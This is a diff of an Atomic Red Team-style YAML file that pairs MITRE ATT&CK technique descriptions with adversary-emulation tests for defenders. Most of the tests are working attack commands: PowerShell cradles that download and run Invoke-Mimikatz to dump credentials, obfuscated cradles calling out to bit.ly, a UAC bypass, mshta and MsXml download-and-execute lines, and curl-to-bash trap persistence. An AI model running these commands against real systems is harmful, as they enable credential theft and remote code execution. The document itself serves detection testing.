+ description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April + 28, 2016. + url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx + - source_name: Powersploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. + url: https://github.com/mattifestation/PowerSploit + - source_name: Github PSAttack + description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. + url: https://github.com/jaredhaight/PSAttack + - description: Warner, J.. (2015, January 6). Inexorable PowerShell – A Red + Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December + 8, 2018. + source_name: Sixdub PowerPick Jan 2016 + url: http://www.sixdub.net/?p=367 + - description: Christensen, L.. (2015, December 28). The Evolution of Offensive + PowerShell Invocation. Retrieved December 8, 2018. + source_name: SilentBreak Offensive PS Dec 2015 + url: https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/ + - description: Babinec, K. (2014, April 28). Executing PowerShell scripts from + C#. Retrieved April 22, 2019. + source_name: Microsoft PSfromCsharp APR 2014 + url: https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ + - source_name: Malware Archaeology PowerShell Cheat Sheet + description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING + CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016. + url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf + - source_name: FireEye PowerShell Logging 2016 + description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH + POWERSHELL LOGGING. Retrieved February 16, 2016. + url: https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html + modified: '2019-07-18T17:15:10.564Z' + identifier: T1086 atomic_tests: - - name: mavinject - Inject DLL into running process - description: 'Injects arbitrary DLL into running process specified by process - ID. Requires Windows 10. + - name: Mimikatz + description: 'Download Mimikatz and dump credentials ' supported_platforms: - windows input_arguments: - dll_payload: - description: DLL to inject - type: Path - default: C:\AtomicRedTeam\atomics\T1218\src\x64\T1218.dll - process_id: - description: PID of process receiving injection - type: string - default: 1000 + mimurl: + description: Mimikatz url + type: url + default: https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 executor: name: command_prompt elevation_required: true - command: 'mavinject.exe #{process_id} /INJECTRUNNING #{dll_payload} + command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{mimurl}''); + Invoke-Mimikatz -DumpCreds" ' - - name: SyncAppvPublishingServer - Execute arbitrary PowerShell code - description: 'Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. - Requires Windows 10. + - name: BloodHound + description: 'Download Bloodhound and run it ' supported_platforms: - windows input_arguments: - powershell_code: - description: PowerShell code to execute - type: string - default: Start-Process calc.exe + bloodurl: + description: BloodHound URL + type: url + default: https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1 executor: name: command_prompt - command: 'SyncAppvPublishingServer.exe "n; #{powershell_code}" + elevation_required: false + command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{bloodurl}''); + Invoke-BloodHound" ' - - name: Register-CimProvider - Execute evil dll - description: 'Execute arbitrary dll. Requires at least Windows 8/2012. Also - note this dll can be served up via SMB + - name: Obfuscation Tests + description: | + Different obfuscated methods to test + Reaches out to bit.ly/L3g1t to stdout: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION" + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))) + (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs() + Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value))) + - name: Mimikatz - Cradlecraft PsSendKeys + description: 'Run mimikatz via PsSendKeys ' supported_platforms: - windows - input_arguments: - dll_payload: - description: DLL to execute - type: Path - default: C:\AtomicRedTeam\atomics\T1218\src\Win32\T1218-2.dll + executor: + name: powershell + elevation_required: true + command: "$url='https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object + -ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty + $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP + $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item + Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep + -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds + 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable + _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item + Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable + _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item + Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP + $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz + -dumpcr\n" + - name: Invoke-AppPathBypass + description: | + Note: Windows 10 only + + Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ + supported_platforms: + - windows executor: name: command_prompt - command: "C:\\Windows\\SysWow64\\Register-CimProvider.exe -Path #{dll_payload} - \n" - T1216: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1216 - source_name: mitre-attack - external_id: T1216 - - url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ - source_name: Enigma0x3 PubPrn Bypass - description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved - April 9, 2018.' - - url: https://github.com/api0cradle/UltimateAppLockerByPassList - source_name: GitHub Ultimate AppLocker Bypass List - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved - April 10, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Praetorian - x_mitre_data_sources: - - Process monitoring - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor script processes, such as cscript, and command-line - parameters for scripts like PubPrn.vbs that may be used to proxy execution - of malicious files. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Application whitelisting - - Digital Certificate Validation - id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe - name: Signed Script Proxy Execution - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern - description: |- - Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts. + elevation_required: false + command: 'Powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1''); + Invoke-AppPathBypass -Payload ''C:\Windows\System32\cmd.exe''" - PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png +' + - name: PowerShell Add User + description: 'Using PS 5.1, add a user via CLI + +' + supported_platforms: + - windows + input_arguments: + user_name: + description: username to add + type: string + default: atomic_user + full_name: + description: Full name of user + type: string + default: Atomic Red Team + password: + description: password to use + type: string + default: ATOM1CR3DT3@M + description: + description: Brief description of account + type: string + default: Atomic Things + executor: + name: powershell + elevation_required: true + command: 'New-LocalUser -FullName ''#{full_name}'' -Name ''#{user_name}'' + -Password #{password} -Description ''#{description}'' + +' + - name: Powershell MsXml COM object - no prompt + description: | + Provided by https://github.com/mgreen27/mgreen27.github.io + Powershell MsXml COM object. + Not proxy aware removing cache although does not appear to write to those locations + supported_platforms: + - windows + input_arguments: + url: + description: url of payload to execute + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1 + executor: + name: command_prompt + elevation_required: false + command: 'powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object + -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX + $comMsXml.ResponseText" - There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List) - x_mitre_permissions_required: - - User - identifier: T1216 - atomic_tests: - - name: PubPrn.vbs Signed Script Bypass - description: 'Executes the signed PubPrn.vbs script with options to download - and execute an arbitrary payload. +' + - name: Powershell MsXml COM object - with prompt + description: | + Provided by https://github.com/mgreen27/mgreen27.github.io + Powershell MsXml COM object. + Not proxy aware removing cache although does not appear to write to those locations + supported_platforms: + - windows + input_arguments: + url: + description: url of payload to execute + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1 + executor: + name: command_prompt + elevation_required: false + command: 'powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject + MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX + $comMsXml.ResponseText" ' + - name: Powershell XML requests + description: | + Provided by https://github.com/mgreen27/mgreen27.github.io + Powershell xml download request supported_platforms: - windows input_arguments: - remote_payload: - description: A remote payload to execute using PubPrn.vbs. - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct + url: + description: url of payload to execute + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xml executor: name: command_prompt elevation_required: false - command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs - localhost "script:#{remote_payload}" + command: '"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec + bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(''#{url}'');$Xml.command.a.execute + | IEX" ' - T1153: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1153 - source_name: mitre-attack - external_id: T1153 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - Process monitoring - - File monitoring - - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor for command shell execution of source and subsequent - processes that are started as a result of being executed by a source command. - Adversaries must also drop a file to disk in order to execute it with source, - and these files can also detected by file monitoring. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0 - name: Source - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern - description: "The source command loads functions into the current - shell or executes files in the current context. This built-in command can - be run in two different ways source /path/to/filename [arguments] - or . /path/to/filename [arguments]. Take note of the space after - the \".\". Without a space, a new shell is created that runs the program instead - of running the program within the current context. This is often used to make - certain features or functions available to a shell or to update a specific - shell's environment. \n\nAdversaries can abuse this functionality to execute - programs. The file executed with this technique does not need to be marked - executable beforehand." - x_mitre_permissions_required: - - User - identifier: T1153 - atomic_tests: - - name: Execute Script using Source - description: 'Creates a script and executes it using the source command + - name: Powershell invoke mshta.exe download + description: | + Provided by https://github.com/mgreen27/mgreen27.github.io + Powershell invoke mshta to download payload + supported_platforms: + - windows + input_arguments: + url: + description: url of payload to execute + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/mshta.sct + executor: + name: powershell + elevation_required: false + command: '"C:\Windows\system32\cmd.exe" /c "mshta.exe javascript:a=GetObject(''script:#{url}'').Exec();close()" ' + - name: Powershell Invoke-DownloadCradle + description: | + Provided by https://github.com/mgreen27/mgreen27.github.io + Invoke-DownloadCradle is used to generate Network and Endpoint artifacts. supported_platforms: - - macos - - linux + - windows executor: - name: sh - command: | - sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh" - chmod +x /tmp/art.sh - source /tmp/art.sh - - name: Execute Script using Source Alias - description: 'Creates a script and executes it using the source command''s dot - alias + name: manual + steps: | + 1. Open Powershell_ise as a Privileged Account + 2. Invoke-DownloadCradle.ps1 + - name: PowerShell Fileless Script Execution + description: 'Execution of a PowerShell payload from the Windows Registry similar + to that seen in fileless malware infections. ' supported_platforms: - - macos - - linux + - windows executor: - name: sh + name: command_prompt + elevation_required: false command: | - sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh" - chmod +x /tmp/art.sh - . /tmp/art.sh - T1151: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1151 - source_name: mitre-attack - external_id: T1151 - - url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ - source_name: Mac Backdoors are back - description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors - are suddenly back. Retrieved July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Erye Hernandez, Palo Alto Networks - x_mitre_data_sources: - - File monitoring - - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: It's not common for spaces to be at the end of filenames, - so this is something that can easily be checked with file monitoring. From - the user's perspective though, this is very hard to notice from within the - Finder.app or on the command-line in Terminal.app. Processes executed from - binaries containing non-standard extensions in the filename are suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00 - name: Space after Filename - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern - description: "Adversaries can hide a program's true filetype by changing the - extension of a file. With certain file types (specifically this does not work - with .app extensions), appending a space to the end of a filename will change - how the file is processed by the operating system. For example, if there is - a Mach-O executable file called evil.bin, when it is double clicked by a user, - it will launch Terminal.app and execute. If this file is renamed to evil.txt, - then when double clicked by a user, it will launch with the default text editing - application (not executing the binary). However, if the file is renamed to - \"evil.txt \" (note the space at the end), then when double clicked by a user, - the true file type is determined by the OS and handled appropriately and the - binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries - can use this feature to trick users into double clicking benign-looking files - of any format and ultimately executing something malicious." - x_mitre_permissions_required: - - User - identifier: T1151 - atomic_tests: - - name: Space After Filename - description: 'Space After Filename + reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggJyVTeXN0ZW1Sb290JS9UZW1wL2FydC1tYXJrZXIudHh0JyAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" + powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART))) + - name: PowerShell Downgrade Attack + description: 'Attempts to run powershell commands in version 2.0 https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/ ' supported_platforms: - - macos + - windows executor: - name: manual - steps: "1. echo '#!/bin/bash\\necho \"print \\\"hello, world!\\\"\" | /usr/bin/python\\nexit' - > execute.txt && chmod +x execute.txt\n\n2. mv execute.txt \"execute.txt - \"\n\n3. ./execute.txt\\ \n" - T1154: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1154 - source_name: mitre-attack - external_id: T1154 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - File monitoring - - Process monitoring - - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Trap commands must be registered for the shell or programs, - so they appear in files. Monitoring files for suspicious or overly broad trap - commands can narrow down suspicious behavior during an investigation. Monitor - for suspicious processes executed through trap interrupts. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 - name: Trap - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern - description: The trap command allows programs and shells to specify - commands that will be executed upon receiving interrupt signals. A common - situation is a script allowing for graceful termination and handling of common keyboard - interrupts like ctrl+c and ctrl+d. Adversaries can - use this to register code to be executed when the shell encounters specific - interrupts either to gain execution or as a persistence mechanism. Trap commands - are of the following format trap 'command list' signals where - "command list" will be executed when "signals" are received. + name: powershell + elevation_required: false + prereq_command: 'if(2 -in $PSVersionTable.PSCompatibleVersions.Major){0}else{1} + +' + command: 'powershell.exe -version 2 -Command Write-Host $PSVersion + +' + - name: NTFS Alternate Data Stream Access + description: 'Creates a file with an alternate data stream and simulates executing + that hidden code/file + +' + supported_platforms: + - windows + input_arguments: + ads_file: + description: File created to store Alternate Stream Data + type: String + default: "$env:TEMP\\NTFS_ADS.txt" + executor: + name: powershell + elevation_required: false + prereq_command: 'if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem + -contains "NTFS"){0}else{1} + +' + command: | + Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand' + $streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand' + Invoke-Expression $streamcommand + cleanup_command: 'Remove:Item #{ads_file} + +' + T1121: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters x_mitre_permissions_required: - User - Administrator - identifier: T1154 - atomic_tests: - - name: Trap - description: | - After exiting the shell, the script will download and execute. + name: Regsvcs/Regasm + description: |- + Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) - After sending a keyboard interrupt (CTRL+C) the script will download and execute. - supported_platforms: - - macos - - centos - - ubuntu - - linux - executor: - name: sh - command: | - trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT - exit - trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT - T1127: - technique: - external_references: - - external_id: T1127 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1127 - - url: https://msdn.microsoft.com/library/dd393574.aspx - source_name: MSDN MSBuild - description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016. - - url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx - source_name: Microsoft Migrating from DNX - description: Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating - from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017. - - url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ - source_name: engima0x3 DNX Bypass - description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting - By Using dnx.exe. Retrieved May 25, 2017. - - url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/ - source_name: Microsoft Roslyn CPT RCSI - description: Osenkov, K. (2011, October 19). Introducing the Microsoft “Roslyn” - CTP. Retrieved June 28, 2017. - - url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ - source_name: engima0x3 RCSI Bypass - description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting - By Using rcsi.exe. Retrieved May 26, 2017. - - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index - source_name: Microsoft Debugging Tools for Windows - description: Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, - KD, CDB, NTSD). Retrieved June 29, 2017. - - url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html - source_name: Exploit Monday WinDbg - description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting - by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. - - source_name: SubTee GitHub All The Things Application Whitelisting Bypass - description: Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ - Application Control Bypass Techniques in One File. Retrieved June 30, 2017. - - url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking - source_name: Microsoft Docs File Tracking - description: B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November - 4). File Tracking. Retrieved November 1, 2017. - - url: https://twitter.com/subTee/status/793151392185589760 - source_name: Twitter SubTee Tracker.exe - description: Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved - November 1, 2017. + Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) + x_mitre_remote_support: false + id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302 + modified: '2019-07-31T19:26:35.927Z' + x_mitre_platforms: + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' type: attack-pattern + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and + Regasm.exe with prior history of known good arguments and executed binaries + to determine anomalous and potentially adversarial activity. Command arguments + used before and after Regsvcs.exe or Regasm.exe invocation may also be useful + in determining the origin and purpose of the binary being executed. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_contributors: - Casey Smith - - Matthew Demaske, Adaptforward - x_mitre_data_sources: - - Process monitoring - modified: '2019-02-05T23:13:50.663Z' - x_mitre_detection: |- - The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. - - Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + created: '2017-05-31T21:31:33.499Z' kill_chain_phases: - phase_name: defense-evasion kill_chain_name: mitre-attack - phase_name: execution kill_chain_name: mitre-attack + external_references: + - source_name: mitre-attack + external_id: T1121 + url: https://attack.mitre.org/techniques/T1121 + - description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). + Retrieved July 1, 2016. + source_name: MSDN Regsvcs + url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx + - description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved + July 1, 2016. + source_name: MSDN Regasm + url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx + - description: LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019. + source_name: LOLBAS Regsvcs + url: https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/ + - description: LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019. + source_name: LOLBAS Regasm + url: https://lolbas-project.github.io/lolbas/Binaries/Regasm/ x_mitre_defense_bypassed: - - Application whitelisting - id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b - name: Trusted Developer Utilities - created: '2017-05-31T21:31:39.262Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - x_mitre_system_requirements: - - |- - MSBuild: .NET Framework version 4 or higher - DNX: .NET 4.5.2, Powershell 4.0 - RCSI: .NET 4.5 or later, Visual Studio 2012 - description: "There are many utilities used for software development related - tasks that can be used to execute code in various forms to assist in development, - debugging, and reverse engineering. These utilities may often be signed with - legitimate certificates that allow them to execute on a system and proxy execution - of malicious code through a trusted process that effectively bypasses application - whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft - Build Engine) is a software build platform used by Visual Studio. It takes - XML formatted project files that define requirements for building various - platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can - use MSBuild to proxy execution of code through a trusted Windows utility. - The inline task capability of MSBuild that was introduced in .NET version - 4 allows for C# code to be inserted into the XML project file. (Citation: - MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. - MSBuild.exe is a signed Microsoft binary, so when it is used this way it can - execute arbitrary code and bypass application whitelisting defenses that are - configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The - Things Application Whitelisting Bypass)\n\n### DNX\n\nThe .NET Execution Environment - (DNX), dnx.exe, is a software development kit packaged with Visual Studio - Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft - Migrating from DNX) DNX is not present on standard builds of Windows and may - only be present on developer workstations using older versions of .NET Core - and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn - adversary can use dnx.exe to proxy execution of arbitrary code to bypass application - whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### - RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for - C# that is similar to csi.exe. It was provided within an early version of - the Roslyn .NET Compiler Platform but has since been deprecated for an integrated - solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed - by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can - be written and executed with rcsi.exe at the command-line. An adversary can - use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting - policies that do not account for execution of rcsi.exe. (Citation: engima0x3 - RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and - user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe - is also user-mode debugger. Both utilities are included in Windows software - development kits and can be used as standalone tools. (Citation: Microsoft - Debugging Tools for Windows) They are commonly used in software development - and reverse engineering and may not be found on typical Windows systems. Both - WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can - use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass - application whitelist policies that do not account for execution of those - utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use - other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, - which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, - tracker.exe, is included with the .NET framework as part of MSBuild. It is - used for logging calls to the Windows file system. (Citation: Microsoft Docs - File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an - arbitrary DLL into another process. Since tracker.exe is also signed it can - be used to bypass application whitelisting solutions. (Citation: Twitter SubTee - Tracker.exe)" - x_mitre_permissions_required: - - User - identifier: T1127 + - Process whitelisting + - Digital Certificate Validation + identifier: T1121 atomic_tests: - - name: MSBuild Bypass Using Inline Tasks - description: 'Executes the code in a project file using. C# Example + - name: Regasm Uninstall Method Call Test + description: 'Executes the Uninstall Method, No Admin Rights Required ' supported_platforms: - windows input_arguments: - filename: - description: Location of the project file + file_name: + description: Location of the payload type: Path - default: T1127.csproj + default: T1121.dll + source_file: + description: Location of the CSharp source_file + type: Path + default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs executor: name: command_prompt elevation_required: false - command: 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe #{filename} + command: | + 